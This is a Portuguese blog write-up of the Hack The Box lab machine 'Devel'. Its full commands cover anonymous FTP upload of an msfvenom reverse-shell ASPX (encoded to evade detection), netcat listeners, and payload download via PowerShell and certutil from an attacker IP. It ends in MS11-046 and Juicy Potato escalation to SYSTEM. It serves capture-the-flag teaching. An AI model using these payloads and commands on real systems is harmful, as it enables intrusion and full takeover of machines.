Hack the Box – Devel Writeup (Sem uso do Metasploit)

Hack the Box – Devel Writeup (Sem uso do Metasploit)

Hoje veremos o writeup completo da máquina Legacy do Hack The Box!
Link de acesso: https://app.hackthebox.com/machines/Devel

Descrição

A máquina Devel, embora relativamente simples, demonstra os riscos de segurança associados a algumas configurações de programa padrão.
É uma máquina de nível iniciante que pode ser concluída usando explorações disponíveis publicamente.

Conhecimento requeridos:

  • Conhecimento básico em Windows
  • Enumeração de portas e serviços

Conhecimento que serão aprendidos:

  • Identificação de serviços vulneráveis
  • Exploração de credenciais fracas
  • Técnicas básicas de escalonamento de privilégios do Windows

Reconhecimento

Inicialmente, utilizamos o Masscan para efetuar uma enumeração ágil dos serviços ativos na máquina, direcionando a saída para o arquivo “ports”

masscan -p1-65535,U:1-65535 10.10.10.5 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports

Popular a variável “ports” com as portas abertas identificadas

ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')

Em seguida, empregamos o NMAP para realizar uma varredura dos serviços identificados

nmap -Pn -sV -sC -p$ports 10.10.10.5

Observaçao: Esta é apenas uma forma de se fazer o scan de serviços ativos, mas sinta-se à vontade para usar outros métodos que desejar.

Resultado do scan:

Com base no print acima, podemos observar que os serviços ativos são TCP/21 (FTP) e TCP/80 (HTTP). Além disso, ao realizarmos uma varredura com o NMAP, foi identificado que o usuário “Anonymous” está configurado como permitido, indicando que ele é um usuário ativo e pode ser utilizado para acessar o serviço em questão.

ftp 10.10.10.5
User: anonymous
Pass: anonymous
dir

Ao analisarmos a porta TCP/80 (HTTP), podemos constatar que o arquivo “iisstart.htm” presente no TCP/21(FTP) é a página principal.

Exploração (Shell inicial)

Vamos criar um arquivo .htm e enviar para o FTP, e após, tentarmos acessar via navegador.

echo "teste" > teste.htm

Podemos observar que o arquivo foi criado e enviado para o FTP sem nenhuma restrição.
A fim de verificar se os arquivos presentes no FTP podem impactar o serviço WEB, tentaremos acessar o nosso arquivo. Caso consigamos acesso, prosseguiremos para a próxima etapa da exploração, que é obter uma shell.

http://10.10.10.5/teste.htm

Agora que constatamos que novos arquivos carregados para o FTP não possuem restrições e podem ser acessados pelo navegador, podemos criar um arquivo para obter acesso à shell do sistema. Para isso, utilizaremos o msfvenom para criar um arquivo com a extensão .aspx, visto que, ao analisarmos os arquivos presentes no FTP, identificamos um diretório com o nome “aspnet_client”.

msfvenom -f aspx -p windows/shell_reverse_tcp LHOST=10.10.14.18 LPORT=4443 -e x86/shikata_ga_nai -o shell.aspx

Para criar o arquivo para obtermos a reverse shell, utilizaremos os seguintes parâmetros:

  • -f = Formato do arquivo;
  • -p = Payload a ser inserido no arquivo. Neste caso, usaremos um payload padrão para reverse-shell Windows;
  • LHOST = Endereço IP atribuído à sua máquina pela conexão VPN;
  • LPORT = Porta na qual você colocará em modo LISTENING em sua máquina para receber a conexão reversa;
  • -e = Encoder utilizado para codificar o payload e evitar que seja detectado pelo sistema de proteção da máquina;
  • x86/shikata_ga_nai = Tipo de encoder que usaremos com o payload selecionado;
  • -o = Out, onde atribuiremos a saída da estrutura usada para gerar o payload a um arquivo;
  • shell.aspx = Nome que daremos ao arquivo que será gerado (pode ser qualquer um de sua preferência).

Após a criação do arquivo para a reverse shell, faremos o upload para o FTP.

ftp 10.10.10.5
User: anonymous
Pass: anonymous
put shell.aspx
dir

Agora que o arquivo foi enviado para o FTP, podemos colocar a porta 4443 (a mesma que selecionamos na criação do payload com o msfvenom) em modo LISTENING e acessar o arquivo pelo navegador.

Observação: É recomendado usar o RLWRAP para uma experiência de shell mais aprimorada.

Comandos para instalação caso não possuir o RLWRAP em sua máquina:

sudo apt-get update
sudo apt-get install rlwrap

Colocando a porta 443 em modo LISTENING:

rlwrap nc -lnvp 4443

Acessando o arquivo através do navegador:

http://10.10.10.5/shell.aspx

Observamos que conseguimos acessar com o usuário de acesso “iis apppool”.
Ao navegar até o diretório C:\Users, podemos identificar alguns usuários, porém, ao tentar acessar as pastas de “Administrator”, não possuímos privilégios suficientes.

Considerando que nosso acesso é limitado, podemos analisar minuciosamente o sistema para identificar possíveis brechas que possamos explorar e, assim, obter acesso privilegiado.

Para isso, utilizaremos o comando a seguir para listar detalhes do sistema operacional:

systeminfo

Com a saída que obtivemos, é possível verificar que a máquina está utilizando o sistema operacional Microsoft Windows 7 Enterprise. Além disso, a linha de versão do sistema é 6.1.7600 N/A Build 7600.

Após pesquisar na Internet por 6.1.7600 N/A Build 7600 privesc, encontramos o seguinte link: https://www.exploit-db.com/exploits/40564 .

Ao analisar o arquivo, é possível perceber que é necessário compilá-lo.

Podemos fazer o download do arquivo para a nossa máquina.

wget https://www.exploit-db.com/download/40564

Observação: O arquivo é fornecido sem a extensão binária em linguagem C, portanto, é necessário renomeá-lo.

mv 40564 40564.c

Agora podemos compilar o arquivo seguindo as instruções fornecidas na sua descrição.

i686-w64-mingw32-gcc 40564.c -o MS11-046.exe -lws2_32

Com o arquivo MS11-046.exe compilado, precisamos enviá-lo para a máquina alvo. Para fazer isso, podemos usar o Python em nossa máquina atacante para hospedar um serviço da web a partir do diretório atual. Para isso, podemos utilizar o seguinte comando:

python3 -m http.server 80

Na máquina alvo, na sessão que obtivemos anteriormente, precisamos criar uma pasta na qual teremos permissões de escrita. Isso nos permitirá criar ou fazer upload de arquivos.

cd c:\
mkdir temp
cd temp

Com o diretório criado na máquina alvo, podemos fazer upload do nosso exploit utilizando o comando PowerShell a seguir:

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.18/MS11-046.exe', 'c:\temp\MS11-046.exe')"

Aqui, podemos ver que o nosso exploit foi carregado corretamente para a pasta Temp na máquina alvo.

Agora que temos o arquivo na máquina alvo, podemos executá-lo e, assim, obter acesso privilegiado.

MS11-046.exe

Como podemos ver no print acima, após executar o exploit nós obtemos acesso com o usuário SYSTEM.
Observação: Vale ressaltar que não é necessário realizar a escalação de privilégio.

Exploração através do SeImpersonatePrivilege (Juicy Potato)

Como nosso acesso é limitado, faremos uma análise minuciosa do sistema para identificar possíveis brechas que possam ser exploradas, a fim de obter acesso privilegiado. Para realizar essa tarefa, utilizaremos o comando a seguir para listar detalhes sobre os privilégios disponíveis no acesso que conseguimos obter ao sistema operacional:

whoami /priv

Com este comando, é possível observar que o SeImpersonatePrivilege está ativo na máquina. Ademais, verificamos que a arquitetura do sistema operacional é de 32 bits (x86).

systeminfo

Isso significa que podemos usar o Juicy Potato.

Informações adicionais sobre a vulnerabilidade:
O privilégio SeImpersonatePrivilege permite que usuários e grupos com acesso a ele executem programas em nome de outros usuários para representá-los. Este privilégio foi introduzido no Windows 2000 SP4 e é concedido a membros do grupo de administradores locais do dispositivo, bem como à conta de serviço local do dispositivo. Além disso, serviços iniciados pelos servidores COM do Service Control Manager e configurados para serem executados em uma conta específica também têm esse direito de usuário. Este privilégio é projetado para impedir que servidores não autorizados representem clientes que se conectam a eles através de métodos como RPC ou pipes nomeados. Compreendendo o SeImpersonatePrivilege, estamos prontos para explorar a vulnerabilidade. Uma opção é fazer o download do Juicy Potato na versão de 32 bits.

O link para o projeto é: https://github.com/ivanitlearning/Juicy-Potato-x86/releases

wget https://github.com/ivanitlearning/Juicy-Potato-x86/releases/download/1.2/Juicy.Potato.x86.exe

Além do binário do Juicy Potato, também precisaremos utilizar o msfvenom para gerar um executável de shell reverso de 32 bits.

msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=1337 -f exe > reverse.exe

Observação: Lembrando que o LPORT será a porta que deveremos definir como “LISTENING” em nossa máquina atacante para estabelecer uma conexão reversa com o sistema.

Com o binário do Juicy Potato e o Shell-Reverso de 32 Bits em mãos, podemos fazer o upload dos arquivos para a máquina alvo.

Para realizar esse processo, podemos utilizar o Python em nossa máquina atacante para hospedar um serviço web a partir do diretório atual. Para isso, podemos utilizar o seguinte comando:

python3 -m http.server 80

Na máquina alvo, na sessão que obtivemos anteriormente, é necessário criar uma pasta na qual tenhamos permissões de escrita. Dessa forma, seremos capazes de criar ou fazer upload de arquivos.

cd c:\
mkdir temp
cd temp

Com o diretório criado na máquina alvo, podemos fazer o upload de nosso exploit utilizando o seguinte comando PowerShell:

certutil -f -split -urlcache http://10.10.14.18/Juicy.Potato.x86.exe C:\temp\Juicy.Potato.x86.exe
certutil -f -split -urlcache http://10.10.14.18/reverse.exe C:\temp\reverse.exe
dir

Depois de transferir o executável do Juicy Potato e nosso executável de shell reverso de nossa máquina atacante via HTTP, podemos iniciar nosso listener nc (netcat) e executar o Juicy Potato.

rlwrap nc -lnvp 1337

Observação: Aqui devemos definir em “LISTENING” a mesma porta que configuramos nas opções do msfvenom para criar o nosso shell reverso.

Para executar o comando na máquina alvo, utilize:

Juicy.Potato.x86.exe -l 1337 -p reverse.exe -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}

Observação: Podemos ver que o CLSID padrão é {4991d34b-80a1-4291-83b6-3328366b9097}. Essa informação pode ser obtida executando o seguinte comando:

Juicy.Potato.x86.exe -l 1337 -p reverse.exe

Como podemos ver no print acima, após executar o exploit nós obtemos acesso com o usuário SYSTEM.
Observação: Vale ressaltar que não é necessário realizar a escalação de privilégio.

Caso necessário, há uma lista de CLSIDs que podemos utilizar no link abaixo:
https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2008_R2_Enterprise

No exemplo abaixo, faremos a exploração usando o CLSID {03ca98d6-ff5d-49b8-abc6-03dd84127020}:

Juicy.Potato.x86.exe -l 1337 -p reverse.exe -t * -c {03ca98d6-ff5d-49b8-abc6-03dd84127020}

Flags do sistema

Flag user.txt

type c:\users\babis\desktop\user.txt

Flag root.xt

type c:\users\administrator\desktop\root.txt

Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !

Posts relacionados

Configurando um servidor WEB [Debian9]

Configurando um servidor WEB [Debian9]

Neste tutorial aprenderemos como instalar e configurar um servidor web com [Apache][1].

Ler post completo
Utilizando clientes RDP no Linux

Utilizando clientes RDP no Linux

Já precisou se conectar em um servidor Windows via Remote Desktop Protocol (RDP) através do Linux e teve dificuldades?

Ler post completo
Do IIS User ao SYSTEM: Escalação de Privilégio Windows

Do IIS User ao SYSTEM: Escalação de Privilégio Windows

Neste post será demonstrado como escalar privilégios no IIS com Juicy Potato (MS16-075): Um exemplo de como uma má configuração pode levar ao comprometimento total de um Webserver.

Ler post completo